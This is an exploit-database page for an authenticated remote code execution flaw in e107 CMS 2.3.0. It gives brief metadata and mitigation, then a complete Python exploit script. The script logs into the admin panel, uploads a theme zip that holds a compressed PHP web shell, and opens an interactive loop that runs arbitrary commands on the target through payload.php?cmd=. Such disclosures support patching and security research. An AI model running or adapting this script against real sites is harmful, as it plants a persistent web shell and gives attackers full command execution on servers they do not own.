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vendor:
e107 CMS
by:
Halit AKAYDIN (hLtAkydn)
9,8
CVSS
HIGH
Remote Code Execution (RCE)
78
CWE
Product Name: e107 CMS
Affected Version From: 2.3.0
Affected Version To: 2.3.0
Patch Exists: NO
Related CWE: N/A
CPE: a:e107:e107
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux/Windows
2021

e107 CMS 2.3.0 – Remote Code Execution (RCE) (Authenticated)

e107 is a free website content management system that includes an endpoint that allows remote access. A theme page is misconfigured, causing a security vulnerability. User information with sufficient permissions is required. The contents of the upload 'malicious.zip' file must be too long to read to bypass some security measures. An exploit can be run using python3 exploit.py -u http://example.com -l admin -p Admin123.

Mitigation:

Ensure that the theme page is properly configured and that user information with sufficient permissions is not accessible.
Source

Exploit-DB raw data:

# Exploit Title: e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 21-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://e107.org/
# Software Link: https://e107.org/download
# Version: 2.3.0
# Category: Webapps
# Tested on: Linux/Windows

# e107 is a free website content management system
# Includes an endpoint that allows remote access
# Theme page is misconfigured, causing security vulnerability
# User information with sufficient permissions is required.
# The contents of the upload "malicious.zip" file must be too long to read to bypass some security measures!

# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
#		   python3 exploit.py -h


from time import sleep
import requests
import argparse


def main():
	parser = argparse.ArgumentParser(
		description='e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)'
	)
	parser.add_argument('-u', '--host', type=str, required=True)
	parser.add_argument('-l', '--login', type=str, required=True)
	parser.add_argument('-p', '--password', type=str, required=True)
	args = parser.parse_args()
	print("\ne107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)",
		  "\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
	host(args)



def host(args):
	#Check http or https
	if args.host.startswith(('http://', 'https://')):
		print("[?] Check Url...\n")
		sleep(2)
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		else:
			pass
	else:
		print("\n[?] Check Adress...\n")
		sleep(2)
		args.host = "http://" + args.host
		args.host = args.host
		if args.host.endswith('/'):
			args.host = args.host[:-1]
		else:
			pass


	# Check Host Status
	try:
		response = requests.get(args.host)
		if response.status_code != 200:
			print("[-] Address not reachable!")
			sleep(2)
			exit(1)
		else:
			check(args)

	except requests.ConnectionError as exception:
		print("[-] Address not reachable!")
		sleep(2)
		exit(1)



def check(args):
	response = requests.get(args.host + "/e107_themes/payload/payload.php?cmd=whoami")
	if response.status_code == 200:
		print("[*] Exploit File Exists!\n")
		sleep(2)
		exploit(args)
	else:
		login(args)



def login(args):
	url = args.host + "/e107_admin/admin.php"
	headers = {
		"Cache-Control": "max-age=0",
		"Upgrade-Insecure-Requests": "1",
		"Origin": args.host,
		"Content-Type": "application/x-www-form-urlencoded",
		"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
		"Referer": args.host + "/e107_admin/admin.php",
		"Accept-Encoding": "gzip, deflate",
		"Accept-Language": "en-US,en;q=0.9",
		"Connection": "close"
	}
	data = {"authname": args.login, "authpass": args.password, "authsubmit": "Log In"}
	response = requests.post(url, headers=headers, data=data, allow_redirects=False)
	new_cookie = response.cookies.get("MySi_cookieSID")
	if (response.headers.get("Location") == "admin.php?failed"):
		print("[-] Login Failed...\n")
		print("Your username or password is incorrect.")
		sleep(2)
		exit(1)
	else:
		print("[+] Success Login...\n")
		sleep(2)
		install(args, new_cookie)



def install(args, new_cookie):
	url = args.host + "/e107_admin/theme.php"
	cookies = {
		"MySi_cookieSID": new_cookie,
		"e107_tzOffset": "-180"}
	headers = {
		"Cache-Control": "max-age=0",
		"Upgrade-Insecure-Requests": "1",
		"Origin": args.host,
		"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary",
		"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
		"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
		"Referer": args.host + "/e107_admin/theme.php?mode=main&action=upload",
		"Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9",
		"Connection": "close"
	}
	data = "------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n2097152\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"ac\"\r\n\r\n005cd2159fa5342883b18a46726a908d\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"file_userfile[]\"; filename=\"payload.zip\"\r\nContent-Type: application/zip\r\n\r\nPK\x03\x04\x14\x03\x00\x00\x00\x00\xf9|5S\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00payload/PK\x03\x04\x14\x03\x00\x00\x08\x00\xc2\x845S\xb1\xa6\xeeb>\x00\x00\x00M\x00\x00\x00\x13\x00\x00\x00payload/payload.php\xb3\xb1/\xc8(P\xc8L\xd3\xc8,.N-\xd1P\x89ww\r\x89VO\xceMQ\x8f\xd5\xd4\xacVP\x01\xb2\x14l\x15P\xc5\xad\x15\x8a+\x8bKRs5@\xb2@^Jf\xaa\xb5B\xad\x82\xbd\x1d\x00PK\x01\x02?\x03\x14\x03\x00\x00\x00\x00\xf9|5S\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00$\x00\x00\x00\x00\x00\x00\x00\x10\x80\xedA\x00\x00\x00\x00payload/\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x00\xaf\x9b\xc4\xe5\xae\xd7\x01\x80E4\xc5\xe5\xae\xd7\x01\x00\xaf\x9b\xc4\xe5\xae\xd7\x01PK\x01\x02?\x03\x14\x03\x00\x00\x08\x00\xc2\x845S\xb1\xa6\xeeb>\x00\x00\x00M\x00\x00\x00\x13\x00$\x00\x00\x00\x00\x00\x00\x00 \x80\xa4\x81&\x00\x00\x00payload/payload.php\n\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\x80/\x99\xe6\xed\xae\xd7\x01\x008\xa1x\xee\xae\xd7\x01\x80/\x99\xe6\xed\xae\xd7\x01PK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\xbf\x00\x00\x00\x95\x00\x00\x00\x00\x00\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"upload\"\r\n\r\n1\r\n------WebKitFormBoundary--\r\n"
	response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)

	if (response.status_code == 301):
		print("[!] Unauthorized user!\n\n")
		print("Requires user with add theme permissions.")
		sleep(2)
		exit(1)
	else:
		print("[!] Upload Vuln File!\n")
		sleep(2)
		exploit(args)



def exploit(args):
	print("[+] Exploit Done!\n")
	sleep(2)

	while True:
		cmd = input("$ ")
		url = args.host + "/e107_themes/payload/payload.php?cmd=" + cmd
		headers = {
			"Upgrade-Insecure-Requests": "1",
			"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
		}

		response = requests.post(url, headers=headers, timeout=5)

		if response.text == "":
			print(cmd + ": command not found\n")
		else:
			print(response.text)

if __name__ == '__main__':
	main()

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